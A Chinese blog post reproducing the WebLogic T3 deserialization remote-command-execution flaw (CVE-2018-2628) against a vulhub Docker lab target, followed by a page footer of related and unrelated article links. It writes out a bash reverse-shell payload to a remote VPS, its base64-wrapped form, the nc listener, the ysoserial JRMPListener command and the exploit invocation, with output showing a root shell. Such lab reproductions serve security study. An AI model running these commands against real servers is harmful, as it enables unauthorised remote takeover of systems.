Weblogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)复现
好久没发新文章了,躲懒了,是时候该更新一篇了,这一篇是关于WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)的复现,该漏洞是weblogic的经典漏洞,而网上有关的复现稍显麻烦且方式有些老旧,特此更新一篇。
Weblogic T3协议反序列化命令执行漏洞介绍:
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
影响范围:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
靶机介绍:
此次复现使用vulhub中的/vulhub-master/weblogic/CVE-2018-2628中靶场,具体靶场搭建这里就不多赘述了,参考vulhub官网即可。
开启靶场:docker-compose up -d
vf@vf-virtual-machine:~/vulhub-master/weblogic/CVE-2018-2628$ sudo docker-compose up -d
Creating network "cve20182628_default" with the default driver
Pulling weblogic (vulhub/weblogic:10.3.6.0-2017)...
10.3.6.0-2017: Pulling from vulhub/weblogic
6599cadaf950: Pull complete
23eda618d451: Pull complete
f0be3084efe9: Pull complete
52de432f084b: Pull complete
a3ed95caeb02: Pull complete
a2318f26c625: Pull complete
1aa642dd8cc1: Pull complete
b307208f8bf5: Pull complete
1dfbbdcc497d: Pull complete
a53e674a7606: Pull complete
5f06bb51fa3c: Pull complete
ff0ff72567f2: Pull complete
684862046025: Pull complete
abbf8d475455: Pull complete
848eb11ef744: Pull complete
2f3438f2b83b: Pull complete
8e5871e15571: Pull complete
Digest: sha256:275ec19477cfda389dc1c42158033e7e8c650dd4cba9f090ca0ba673902b73c9
Status: Downloaded newer image for vulhub/weblogic:10.3.6.0-2017
Creating cve20182628_weblogic_1 ...
Creating cve20182628_weblogic_1 ... done
访问ip:7001/console出现如下页面表示靶场搭建成功。这里的ip为192.168.28.136(靶机ip)

漏洞检测:
使用相应的poc脚本进行检测即可
poc地址:https://github.com/Aedoo/CVE-2018-2628-MultiThreading
可见检出漏洞:

漏洞利用:
注意,该命令执行漏洞没有回显,因此只能对目标机执行代码而无法返回执行结果,所以,这里我们直接进行反弹shell:
反弹shell payload准备:
bash -i >& /dev/tcp/远端vps-ip/8888 0>&1
由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下:
bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}
远端vps监听端口:
root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888
Listening on 0.0.0.0 8888
下载反序列化漏洞利用工具jar文件:ysoserial.jar
地址:https://github.com/frohoff/ysoserial。按照说明生成jar文件即可。
远端vps开启JRMP Server端口监听,端口随意,这里设置为38080
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections1 'bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'
* Opening JRMP listener on 38080
出现Opening JRMP listener on 38080即表明jrmp server监听成功。
到这里,反弹shell的环境就准备完毕,下面下载exp:
exp地址:https://www.exploit-db.com/exploits/44553
copy代码,保存为exploit.py
攻击机payload准备:
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
这里的victim ip/port 为靶机的ip和端口,path to ysoserial为ysoserial.jar文件的路径,因为这个exp会调用这个jar,JRMPListener ip/port为jrmp server服务器的ip和监听的端口,这里端口为38080。JRMPClient有两个选项,为:JRMPClient或JRMPClient2,这里使用JRMPClient。
最终payload:
python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 远端vps-ip 38080 JRMPClient
执行exp:
┌──(kali㉿kali)-[~/Desktop/weblogic]
└─$ python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar xxx.xxx.xxx.xxx 38080 JRMPClient
handshake successful
send request payload successful,recv length:1690
command: java -jar /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient xxx.xxx.xxx.xxx:38080 > payload.out
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
payload: ...
response: ...
...
exploit completed!
回显exploit completed表明执行完毕,回看vps监听端口可见:
root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888
Listening on 0.0.0.0 8888
Connection received on xxx.xxx.xxx.xxx 50634
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@06ff6f667a1a:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
<Middleware/user_projects/domains/base_domain# whoami
root
反弹shell成功。
复现完毕。
Weblogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)复现的更多相关文章
- JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ...
- 企业安全06-Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
CVE-2017-5645 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) 一.漏洞原理 Apache Log4j是一个用于Java的日志记录库,其支持启动 ...
- Supervisord远程命令执行漏洞(CVE-2017-11610)复现
Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...
- Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现
一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...
- 利用phar实行php反序列化命令执行漏洞复现
利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...
- Weblogic CVE-2018-3191远程代码命令执行漏洞复现
0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...
- Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...
- Apereo CAS 4.1 反序列化命令执行漏洞
命令执行 java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success&q ...
- Weblogic命令执行漏洞(CVE-2018-2628)复现
一.漏洞环境搭建 CVE-2018-2628影响的软件版本为: Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2. ...
- Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)
影响范围 Liferay Portal 6.1.X Liferay Portal 6.2.X Liferay Portal 7.0.X Liferay Portal 7.1.X Liferay Por ...
随机推荐
- 飞桨Paddle动转静@to_static技术设计
一.整体概要 在深度学习模型构建上,飞桨框架支持动态图编程和静态图编程两种方式,其代码编写和执行方式均存在差异: 动态图编程: 采用 Python 的编程风格,解析式地执行每一行网络代码,并同时返回计 ...
- 2023-05-05:给定一个无向、连通的树 树中有 n 个标记为 0...n-1 的节点以及 n-1 条边 。 给定整数 n 和数组 edges , edges[i] = [ai, bi]表示树中的
2023-05-05:给定一个无向.连通的树 树中有 n 个标记为 0...n-1 的节点以及 n-1 条边 . 给定整数 n 和数组 edges , edges[i] = [ai, bi]表示树中的 ...
- 2021-05-05:一个数组中只有两种字符‘G‘和‘B‘,可以让所有的G都放在左侧,所有的B都放在右侧。或者可以让所有的G都放在右侧,所有的B都放在左侧。但是只能在相邻字符之间进行交换操作。返回至少
2021-05-05:一个数组中只有两种字符'G'和'B',可以让所有的G都放在左侧,所有的B都放在右侧.或者可以让所有的G都放在右侧,所有的B都放在左侧.但是只能在相邻字符之间进行交换操作.返回至少 ...
- [AGC001E] BBQ Hard题解
Problem [AGC001E] BBQ Hard 计算: \[\sum_{i=1}^{n}\sum_{j=i+1}^n\binom{a_i+b_i+a_j+b_j}{a_i+a_j} \] 其中\ ...
- lxml中xpath获取当前节点所有子节点的文本方法
一.场景还原 现在假定有如下html代码: <div class="content"> <p>输入只有一行半径r.</p> </div&g ...
- Random库用法详解
梅森旋转算法实现 基本随机数函数 seed(a=None): 初始化给定的随机数种子,默认为当前系统时间. 只要随机数种子相同,产生的随机数序列也相同. random(): 生成一个[0.0,1.0] ...
- 慢 SQL 优化之索引的作用是什么?
前言 本文针对 MySQL 数据库的 InnoDB 存储引擎,介绍其中索引的实现以及索引在慢 SQL 优化中的作用. 本文主要讨论不同场景下索引生效与失效的原因. 慢SQL与索引的关系 慢SQL优化原 ...
- 爬取豆瓣Top250图书数据
爬取豆瓣Top250图书数据 项目的实现步骤 1.项目结构 2.获取网页数据 3.提取网页中的关键信息 4.保存数据 1.项目结构 2.获取网页数据 对应的网址为https://book.douban ...
- 常用的Java Enum JdbcType
常用的Java Enum JdbcType ARRAY BIGINT BINARY BIT BLOB BOOLEAN CHAR CLOB CURSOR DATE DECIMAL DOUBLE FLOA ...
- String和new String的那点事
String a= "test"; 此语句含义是:在常量池中创建test字符串对象,变量aa是对常量池中此对象的引用 String aa = new String("te ...